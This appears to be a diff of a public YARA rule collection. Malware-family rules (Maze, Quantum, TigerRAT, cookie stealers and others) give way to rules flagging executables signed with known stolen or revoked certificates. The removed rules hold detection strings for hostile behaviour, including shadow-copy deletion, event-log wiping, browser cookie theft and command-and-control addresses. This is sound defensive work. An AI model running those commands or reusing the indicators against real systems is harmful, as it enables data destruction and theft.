+		id = "1d969340-de5e-569e-bfed-a80a1623d1b4"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8491-L8504"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2a78f36259481fccb31b2e6248fed19699b6eb05bacfd08905414764c3045943"
+		logic_hash = "87a70f10a111c4c5d1c3fb5b1c2a9da528f7d484ae6391c91e4052aba5c6bbe0"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = ".khonsari" fullword wide nocase
-		$s1 = "Encrypt" fullword ascii
-		$s2 = "CreateEncryptor" fullword ascii
-		$s3 = "GenerateKey" fullword ascii
-		$s4 = "277e5e6a-4da6-4138-97fa-3fecbdad0176" ascii
+		thumbprint = "0c439c7b60714158f62c45921caf30d17dae37ec6cbc2dfdd9d306e18ae6df63"
+		reason = "ParallaxRAT"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and 2 of ($s*)) or ( all of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "GRASS RAIN, s.r.o." and pe.signatures[i].serial=="77:55:0e:d6:97:99:2b:39:7e:3f:1a:d8:e2:a6:62:d1")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Quantum : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_B1Bbef3Aba79Ab2Eae5B8015F26B34F8 : FILE
 {
 	meta:
-		description = "Detects Quantum locker / ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "76a9240e-5b4f-5a1e-9841-e5ba855fb06f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8965-L8987"
+		id = "382952bd-ffb3-5ff7-aff1-cf9fe8f20d1d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8506-L8519"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f35422d1f52f1f9f55a5e38c782d2cf621cd84da028358ab250584334d41249c"
+		logic_hash = "34b00243f0b5e8d09938f1500871797125644f839298427c877801027638fd34"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "\\t<title>Quantum</title>" ascii wide
-		$x2 = "Quantum Locker.<br><br>" ascii wide
-		$s1 = "ERROR" fullword wide
-		$s2 = ".log" fullword wide
-		$s3 = "SLOW" fullword wide
-		$s4 = "Create" fullword wide
-		$s5 = "Integrity" fullword wide
-		$s6 = "Disabled" fullword wide
-		$s7 = "Deny" fullword wide
-		$s8 = "FAST" fullword wide
-		$s9 = "Mandatory" fullword wide
-		$s10 = "plugin.dll" fullword ascii
-		$s11 = "NetGetDCName" fullword ascii
-		$s12 = "NetShareEnum" fullword ascii
-		$s13 = "NetGetJoinInformation" fullword ascii
+		thumbprint = "247a10fc20386f4f54b7451aecc2d97ec77567c5031028cc7f1b98f9191bee80"
+		reason = "NW0rm"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and ( all of ($x*) or 9 of ($s*) or (pe.number_of_exports==2 and pe.exports("RunW") and pe.exports("runW") and 5 of ($s*)))) or all of ($x*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DIDZHITAL ART, OOO" and pe.signatures[i].serial=="b1:bb:ef:3a:ba:79:ab:2e:ae:5b:80:15:f2:6b:34:f8")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Tigerrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_05D50A0E09Bb9A836Ffb90A3 : FILE
 {
 	meta:
-		description = "Detects TigerRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "34340632-6bb3-588d-aa6f-89d2c5c8789b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8989-L9005"
+		id = "f6947bf1-7f20-5be5-a242-c1025be40055"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8521-L8534"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2254aff3da03b65cf4da3fb6eb2138dba6b41237d565609f3b67e60dee116d13"
+		logic_hash = "fc38ae0c9d4fc26739deab65ae3669f272e999b76dbc521dae04b9a3e3e7cef0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$m1 = ".?AVModuleKeyLogger@@" fullword ascii
-		$m2 = ".?AVModulePortForwarder@@" fullword ascii
-		$m3 = ".?AVModuleScreenCapture@@" fullword ascii
-		$m4 = ".?AVModuleShell@@" fullword ascii
-		$s1 = "\\x9891-009942-xnopcopie.dat" fullword wide
-		$s2 = "(%02d : %02d-%02d %02d:%02d:%02d)--- %s[Clipboard]" fullword ascii
-		$s3 = "[%02d : %02d-%02d %02d:%02d:%02d]--- %s[Title]" fullword ascii
-		$s4 = "del \"%s\"%s \"%s\" goto " ascii
-		$s5 = "[<<]" fullword ascii
+		thumbprint = "2d072e0e80885a82d5e35806b052ca416994e0fe06da1cfdcebd509d967a1aae"
+		reason = "ParallaxRAT"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or ( all of ($m*) and 1 of ($s*)) or (2 of ($m*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Toliz Info Tech Solutions INC." and pe.signatures[i].serial=="05:d5:0a:0e:09:bb:9a:83:6f:fb:90:a3")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Owowa : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_623Eae6A66D3A6Ee80Df9Ccebe51181E : FILE
 {
 	meta:
-		description = "Detects Owowa"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c0a61601-e810-5acc-91a3-fa70db6d94da"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9007-L9025"
+		id = "7c3b85e4-8ce7-5c48-8f3b-e237a5cae9a0"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8536-L8549"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "afdeb30845ed4ef7b79e733e05d3e1ee53a8c441db74519577893d75c1249a41"
+		logic_hash = "79fceab5a19025d25abb12a8e6f57f8a930d348d538d9c556b6d4fc461af66f2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$u1 = "jFuLIXpzRdateYHoVwMlfc" fullword ascii wide
-		$u2 = "Fb8v91c6tHiKsWzrulCeqO" fullword ascii wide
-		$u3 = "dEUM3jZXaDiob8BrqSy2PQO1" fullword ascii wide
-		$s1 = "powershell.exe" fullword wide
-		$s2 = "<RSAKeyValue><Modulus>" wide
-		$s3 = "HealthMailbox" fullword wide
-		$s4 = "6801b573-4cdb-4307-8d4a-3d1e2842f09f" ascii
-		$s5 = "<PreSend_RequestContent>b__" ascii
-		$s6 = "ClearHeaders" fullword ascii
-		$s7 = "get_UserHostAddress" fullword ascii
-		$s8 = "ExtenderControlDesigner" fullword ascii
+		thumbprint = "21c4e9af43068d041e6aec84341ae89cabb9917792c4bc372eced059555bb845"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($u*) or (2 of ($u*) and 3 of ($s*)) or 6 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "GAIN AI LTD" and pe.signatures[i].serial=="62:3e:ae:6a:66:d3:a6:ee:80:df:9c:ce:be:51:18:1e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Chebka : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0A392F03Ded5D73Cdeeda75052A57176 : FILE
 {
 	meta:
-		description = "Detects Chebka"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "df486522-695c-56f5-b93a-6f16829a3a3e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9027-L9048"
+		id = "c0a8cc1c-7427-589b-9e32-8679e9cdf251"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8551-L8564"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cc8123a5d20fac51d4dfc225e743539456efb4d649060d078c3ed93e7724da01"
+		logic_hash = "ea0159ec1c4670c1e961a87131998fa796cf205eaa8a06bf829c61c9694fa5ef"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "-k netsvcs" wide
-		$s2 = "%ssvchost.exe -k SystemNetworkService" wide
-		$s3 = "Mozilla/4.0 (compatible)" wide
-		$s4 = "_kasssperskdy" wide
-		$s5 = "winssyslog" wide
-		$s6 = "LoaderDll%d" wide
-		$s7 = "cmd.exe /c rundll32.exe shell32.dll," wide
-		$s8 = /cmd.exe \/c start (chrome|msedge|firefox|iexplorer)\.exe/ wide
-		$f1 = ".?AVCHVncManager@@" fullword ascii
-		$f2 = ".?AVCNetstatManager@@" fullword ascii
-		$f3 = ".?AVCTcpAgentListener@@" fullword ascii
-		$f4 = ".?AVIUdpClientListener@@" fullword ascii
-		$f5 = ".?AVCShellManager@@" fullword ascii
-		$f6 = ".?AVCScreenSpy@@" fullword ascii
+		thumbprint = "cf1d95b39cc695e90dc2ca8b1b50f33b71f9f21091df2b72ed97f0759b5ddde4"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($s*) or all of ($f*) or (3 of ($f*) and 3 of ($s*)) or (#s8>2 and 5 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FLOWER COMPUTERS LTD" and pe.signatures[i].serial=="0a:39:2f:03:de:d5:d7:3c:de:ed:a7:50:52:a5:71:76")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Flagpro : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_E9268Ed63A7D7E9Dfd40A664Ddfbaf18 : FILE
 {
 	meta:
-		description = "Detects Flagpro"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "da1bf899-feb5-5ed0-956e-c20bc3565a6e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9050-L9067"
+		id = "59e63c76-1051-5274-b886-fcd75c8b0b38"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8566-L8579"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c5e5944426b7be690ad62dd0d98a8fc6f8135cab0dbdd8a5aaf1670491eda59d"
+		logic_hash = "62b9ea3c5197635db2101972af951f4afbd9b311b3c8286525bbd5b5baa17c41"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "download...." fullword ascii
-		$s2 = "~MYTEMP" fullword wide
-		$s3 = ".?AVCV20_LoaderApp@@" fullword ascii
-		$s4 = ".?AVCV20_LoaderDlg@@" fullword ascii
-		$s5 = "ExecYes" fullword ascii
-		$s6 = /<BODY ID=CV\d+_LoaderDlg BGCOLOR=/ ascii
-		$n1 = "://139.162.87.180" wide
-		$n2 = "://172.104.109.217" wide
-		$n3 = "://org.misecure.com/index.html" wide
-		$b1 = /(get all|click|close|maybe|get_outerHTML|download\d) (finished|pass|ok|windows|failed)!/ fullword ascii
+		thumbprint = "0767b9ab857b8e24282b80a7368323689a842e6c8b5a00a4f965c03e375e8b0d"
+		reason = "Hive"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of ($s*) or (1 of ($n*) and (2 of ($s*) or 1 of ($b*))) or (2 of ($s*) and 1 of ($b*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Casta, s.r.o." and pe.signatures[i].serial=="e9:26:8e:d6:3a:7d:7e:9d:fd:40:a6:64:dd:fb:af:18")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Nplusminer
+rule DITEKSHEN_INDICATOR_KB_CERT_Da156922F4760E0C5F5Bcf79812A27E1 : FILE
 {
 	meta:
-		description = "Detects PowerShell based NPlusMiner"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "a16b504f-e69a-5abb-8e37-01bf7c2df6ef"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9069-L9082"
+		id = "065bacbc-3004-53c1-ba73-4779743e8221"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8581-L8594"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f6b81c2276765455d46e20ed81e19caa3ae36a31827568486a09bc1619ec478c"
+		logic_hash = "f6dd0f2373e412a753cbe5e27152f48d6c8980de9b26e5ab212b926e7e41c813"
 		score = 75
 		quality = 75
-		tags = ""
-		snort_sid = "920284"
-
-	strings:
-		$s1 = "$Core | Add-Member @{IsReadOnly = $((Get-ItemProperty -Path \".\\Includes\\Core.ps1\").IsReadOnly)} -Force" fullword ascii
-		$s2 = "$Core | Add-Member @{MinerCustomConfig = $((Get-Content \".\\Config\\MinerCustomConfig.json\" -Raw))} -Force" fullword ascii
-		$s3 = "If ($Variables.CheatGuy -and $Core.corehash -in $Hashes -and $Core.ScriptStartDate -le (Get-Date)" ascii
-		$s4 = "Try{(Get-ItemProperty -Path \".\\Includes\\Core.ps1\").IsReadOnly = $false} catch {}" fullword ascii
-		$s5 = " NPlusMiner/" ascii
+		tags = "FILE"
+		thumbprint = "6e19e012f55e0bb44e9036d4445ab945942965dcb81b9ed24ad6fc17933c4fce"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		3 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DRINK AND BUBBLE LTD" and pe.signatures[i].serial=="da:15:69:22:f4:76:0e:0c:5f:5b:cf:79:81:2a:27:e1")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_PWSH_Poshcookiestealer
+rule DITEKSHEN_INDICATOR_KB_CERT_5226A724Cfa0B4Bc0164Ecda3F02A3Dc : FILE
 {
 	meta:
-		description = "Detects PowerShell PoshCookieStealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "7326a056-288b-534b-811d-172bd6936d7b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9084-L9098"
+		id = "37d1061f-80b1-5944-bde3-6279633e321a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8596-L8609"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "234958098d09732675dd539e8d25c6754ba50bf92b3a19e7fef8c68d70503ec4"
+		logic_hash = "8fa1dad2cd4c1406c1346bbe0fef88eba415437d159cf9010dcfaaa7210aef0e"
 		score = 75
 		quality = 75
-		tags = ""
-
-	strings:
-		$s1 = "\\User Data\\default\\Network\\Cookies" ascii nocase
-		$s2 = "Send-ToEmail" ascii
-		$s3 = "[Security.Cryptography.ProtectedData]::Unprotect($" ascii
-		$s4 = "$($env:LOCALAPPDATA)\\" ascii
-		$s5 = "$($env:HOMEPATH)\\" ascii
-		$s6 = "|ForEach-Object ToString X2) -join ''" ascii
-		$s7 = ".Attachments.Add($" ascii
+		tags = "FILE"
+		thumbprint = "92f005b9c46c7993205d9451823cf0410d1afbd7056a7dcdfa2b8b3da74ee1bf"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "VALENTE SP Z O O" and pe.signatures[i].serial=="52:26:a7:24:cf:a0:b4:bc:01:64:ec:da:3f:02:a3:dc")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Garrantdecrypt : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_121070Be1E782F206985543Bc7Bc58B6 : FILE
 {
 	meta:
-		description = "Detects GarrantDecrypt ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "e3be3663-9978-5b8e-b6b2-0f44f269adb2"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9100-L9114"
+		id = "8432c7f0-ee2e-5935-8fe8-36b0094a5e1a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8611-L8624"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "84b139e51f0ef0389c641d62409d702b0ae7ec6ecd2fa54baf2cf0c0078a8f5a"
+		logic_hash = "21eb6fed2225d2ab056948603b0990c2eb7dc9289da9a9df16f0d6cd042b3778"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "%appdata%\\_uninstalling_.png" fullword wide
-		$x2 = "C:\\Windows\\sysnative\\vssadmin.exe" fullword wide
-		$x3 = /(ICQ|Skype) (@nuncatarde|@supersuso|@Whitehorsedecryption|@likeahorse|@Konwarszawski|@zipzipulya|Whitehorsedecryption|LIKEAHORSE DECRYPTION|Zip Zipulya)/ ascii
-		$s1 = "your unique ID" ascii
-		$s2 = "Google market ICQ" ascii
-		$s3 = "If you want to restore them, install ICQ" ascii
-		$s4 = "Write to our ICQ @" ascii
+		thumbprint = "a4534aff03258589a2622398d1904d3bfd264c37e8649a68136f8d552f8b738f"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((2 of ($x*) and 1 of ($s*)) or all of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Prod Can Holdings Inc." and pe.signatures[i].serial=="12:10:70:be:1e:78:2f:20:69:85:54:3b:c7:bc:58:b6")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Locked : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_15C21Dab7F4E644E4B35C4858004D8A9 : FILE
 {
 	meta:
-		description = "Detects Locked ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ad2f91ab-9bbb-5d47-a5c3-5a38dbab2ebe"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9116-L9132"
+		id = "7dac5657-038f-5cbd-a854-cdb12921121e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8626-L8639"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b838b996946fb268c66bac68d5e326ff3049340dfb08f2e0a77492df49915d5a"
+		logic_hash = "646a858b10de89da4e639d3902ada78fad3a45868f0d7782546a865396cf226c"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "http://xxxx.onion/xxxx-xxxx-xxxx-xxxx" ascii
-		$x2 = "http://pigetrzlperjreyr3fbytm27bljaq4eungv3gdq2tohnoyfrqu4bx5qd.onion" ascii
-		$x3 = "dHA6Ly94eHh4Lm9uaW9uL3h4eHgteHh4eC14eHh4LXh4eHg" ascii
-		$s1 = "choice /t 1 /d y /n >nul" ascii
-		$s2 = ".locked" fullword ascii
-		$s3 = "c:\\system volume information" fullword ascii
-		$s4 = "__$$RECOVERY_README$$__.html" fullword ascii
-		$s5 = "Trunc..." fullword ascii
-		$s6 = /C:\\windows\\temp\\[a-z0-9A-Z]{6}\.tmp/ fullword ascii
+		thumbprint = "34a9cd401a5a86c5194954df3a497094c01b6603264aab5cf7d9b3c4a0074801"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or all of ($s*) or (1 of ($x*) and 4 of ($s*)) or (#s6>1 and 4 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "P.REGO, s.r.o." and pe.signatures[i].serial=="15:c2:1d:ab:7f:4e:64:4e:4b:35:c4:85:80:04:d8:a9")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Maze : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_101D6A5A29D9A77807553Ceac669D853 : FILE
 {
 	meta:
-		description = "Detects Maze ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f5d1d3e2-1ffe-5ec6-b1ee-bded81867fb8"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9134-L9163"
+		id = "8554ce79-fd87-54ac-b538-e2899fe95414"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8641-L8654"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d3ce3b43c65dfd9f59ba3c6b64e8d7687db175673cc62068caa1e1da023390c0"
+		logic_hash = "be6b5a98d5c218c39d8f10bc2a0e443bc8be8a591ab368ee902de4a45a95c8d2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "Uc32nbspacec97c98c99c100c101c102c103c104c105c106c107c108c109c110c" ascii
-		$s1 = "\"%s\" shadowcopy delete" wide
-		$s2 = "[%windir%\\system32\\wbem\\wmic" wide
-		$s3 = "process call create \"cmd /c start %s\"" wide
-		$s4 = "DECRYPT-FILES.html" fullword wide
-		$s5 = "Dear %s, your files" wide
-		$s6 = "%s! Alert! %s! Alert!" wide
-		$s7 = "%BASE64_PLACEHOLDER%" fullword ascii
-		$s8 = "-orDGorX0or" fullword ascii
-		$s9 = { 47 45 54 20 2f 25 73 20 48 54 54 50 2f 31 2e 31
-               0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 25 73
-               0d 0a 48 6f 73 74 3a 20 25 73 0d 0a 43 6f 6e 6e
-               65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69
-               76 65 0d 0a 0d 0a 00 50 4f 53 54 20 2f 25 73 20
-               48 54 54 50 2f 31 2e 31 0d 0a 55 73 65 72 2d 41
-               67 65 6e 74 3a 20 25 73 0d 0a 48 6f 73 74 3a 20
-               25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65
-               3a 20 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65
-               6e 67 74 68 3a 20 25 64 0d 0a 43 6f 6e 6e 65 63
-               74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65
-               0d 0a 0d 0a 00 0d 0a 0d 0a 00 43 6f 6e 74 65 6e
-               74 2d 4c 65 6e 67 74 68 3a 20 00 }
+		thumbprint = "cd6aa9a7a4898e42b8361dc3542d0afb72e6deefc0b85ebfb55d282a2982b994"
+		reason = "IcedID"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and 3 of ($s*)) or 6 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BIC GROUP LIMITED" and pe.signatures[i].serial=="10:1d:6a:5a:29:d9:a7:78:07:55:3c:ea:c6:69:d8:53")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Teslarevenge : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4679C5398A279318365Fd77A84445699 : FILE
 {
 	meta:
-		description = "Detects TeslaRevenge ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "13e5bb15-47eb-5e49-a1a5-3d51cacede2f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9165-L9185"
+		id = "ff4061e7-5e45-596f-9d40-c33661a18e71"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8656-L8669"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0f68eae8a076d00c8d058ec148d3557f5770dc827d4690b931faf98797426dbc"
+		logic_hash = "1c591cbb2d35d8dad01ff4ea8c71c8b3a0a5f999f1edfcfc038e47f96d3a3a67"
 		score = 75
-		quality = 65
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "autospreadifnoav=" ascii wide
-		$s2 = "autospread=" ascii wide
-		$s3 = "noencryptext=" ascii wide
-		$s4 = "teslarvng" wide
-		$s5 = "finished encrypting" wide nocase
-		$s6 = "net scan" wide nocase
-		$s7 = "for /f %%x in ('wevtutil el') do wevtutil cl" ascii
-		$s8 = "tasklist | find /i \"SDELETE.exe\"" ascii
-		$e1 = "mshta.exe" ascii wide nocase
-		$e2 = "sc.exe" ascii wide nocase
-		$e3 = "vssadmin.exe" ascii wide nocase
-		$e4 = "wbadmin.exe" ascii wide nocase
-		$e5 = "cmd.exe" ascii wide nocase
+		thumbprint = "8fcef52c16987307f4e1f7d4b62304c65aedb952c90bb2ead8321f1e1d7c9a6e"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (4 of ($s*) or ( all of ($e*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "HURT GROUP HOLDINGS LIMITED" and pe.signatures[i].serial=="46:79:c5:39:8a:27:93:18:36:5f:d7:7a:84:44:56:99")
 }
 import "pe"
 
